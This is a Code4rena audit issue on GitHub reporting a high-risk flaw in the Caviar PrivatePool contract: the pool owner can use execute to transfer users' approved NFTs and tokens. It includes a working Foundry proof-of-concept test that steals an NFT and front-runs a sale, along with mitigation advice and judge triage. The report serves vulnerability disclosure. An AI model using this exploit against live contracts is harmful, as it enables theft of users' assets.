Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Owner of PrivatePool can steal any NFTs and tokens that the pool has approval for #63

Closed
code423n4 opened this issue Apr 9, 2023 · 3 comments
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-184 high quality report This report is of especially high quality satisfactory satisfies C4 submission criteria; eligible for awards

Comments

@code423n4
Copy link
Contributor

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L459-L476

Vulnerability details

Impact

The owner of a PrivatePool, i.e. anyone who has the ownership NFT of the pool, can call the transferFrom or safeTransferFrom method of any token / NFT through the execute method of the PrivatePool contract.
In case a user has given approval (for tokens / NFTs) to the PrivatePool, which is always necessary when interacting directly with the contract's buy, sell or change methods, the pool owner can steal those tokens / NFTs or even front-run the aforementioned methods via the execute method.

Risks

  • User funds are at immediate risk.
  • Special risk in case of NFTs due to common but careless use of setApprovalForAll (puts NFTs at risk that the user doesn't even intend to sell).
  • This is clearly not by design, otherwise this would be possible with the PrivatePool's withdraw method.
  • The risk is amplified by the fact that the pool ownership is given by an NFT which can transferred, stolen, borrowed (flash loan) or sold itself. (Critical mehtods like execute are usually protected by a time-lock or multisig wallet.)
  • This vulnerability is circumvented by using the EthRouter contract since no direct user approvals are given to the pool. However, the user is not forced to use the router.

Severity

The stated risks are my justification to classify this as High Risk finding although the execute method has restricted access.

Proof of Concept

The following PoC will steal an NFT from a user that has given approval to the PrivatePool. Furthermore, the malicious pool owner will front-run the user's call to the sell method in order to make it fail, i.e. additional gas loss for the user.

Just add this test case to test/PrivatePool/Sell.t.sol and run it:

// based on test_TransfersBaseTokenToCaller
function test_StealApprovedNft() public {
    // arrange
    privatePool = new PrivatePool(
        address(factory),
        address(royaltyRegistry),
        address(stolenNftOracle)
    );
    privatePool.initialize(
        address(shibaInu),
        nft,
        virtualBaseTokenReserves,
        virtualNftReserves,
        changeFee,
        feeRate,
        merkleRoot,
        true,
        true
    );

    deal(address(shibaInu), address(privatePool), virtualBaseTokenReserves);
    milady.setApprovalForAll(address(privatePool), true);

    // steal NFT (id=1) after approval and fron-run sell
    address poolNftOwner = address(0x123);
    vm.mockCall( // become pool NFT owner
        address(factory),
        abi.encodeWithSelector(
            ERC721.ownerOf.selector,
            address(privatePool)
        ),
        abi.encode(poolNftOwner)
    );

    vm.startPrank(poolNftOwner);
    privatePool.execute( // steal NFT (id=1) from user to pool NFT owner
        address(milady),
        abi.encodeCall(
            ERC721.transferFrom,
            (address(this), poolNftOwner, 1)
        )
    );
    vm.stopPrank();

    // sell NFTs
    tokenIds.push(1);
    tokenIds.push(2);
    tokenIds.push(3);

    // act
    vm.expectRevert(bytes("WRONG_FROM")); // no longer owner of NFT (id=1)
    privatePool.sell(tokenIds, tokenWeights, proofs, stolenNftProofs);

    // assert
    assertEq(
        milady.ownerOf(1),
        poolNftOwner,
        "Should have transferred NFT (id=1) to pool NFT owner"
    );
}

Log:

Running 1 test for test/PrivatePool/Sell.t.sol:SellTest
[PASS] test_StealApprovedNft() (gas: 3689739)
Test result: ok. 1 passed; 0 failed; finished in 9.83ms

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Introduce a whitelist (provided by the Factory contract) to restrict which function selectors are allowed to be called from execute.
If this is not suitable for you, I suggest a blacklist instead and add the function selectors of transferFrom, safeTransferFrom, approve and setApprovalForAll (according to ERC20 and ERC721 interfaces) per default.

@code423n4 code423n4 added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Apr 9, 2023
code423n4 added a commit that referenced this issue Apr 9, 2023
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as high quality report

@c4-pre-sort c4-pre-sort added the high quality report This report is of especially high quality label Apr 18, 2023
@c4-pre-sort
Copy link

0xSorryNotSorry marked the issue as duplicate of #184

@c4-judge
Copy link
Contributor

c4-judge commented May 1, 2023

GalloDaSballo marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label May 1, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-184 high quality report This report is of especially high quality satisfactory satisfies C4 submission criteria; eligible for awards
Projects
None yet
Development

No branches or pull requests

3 participants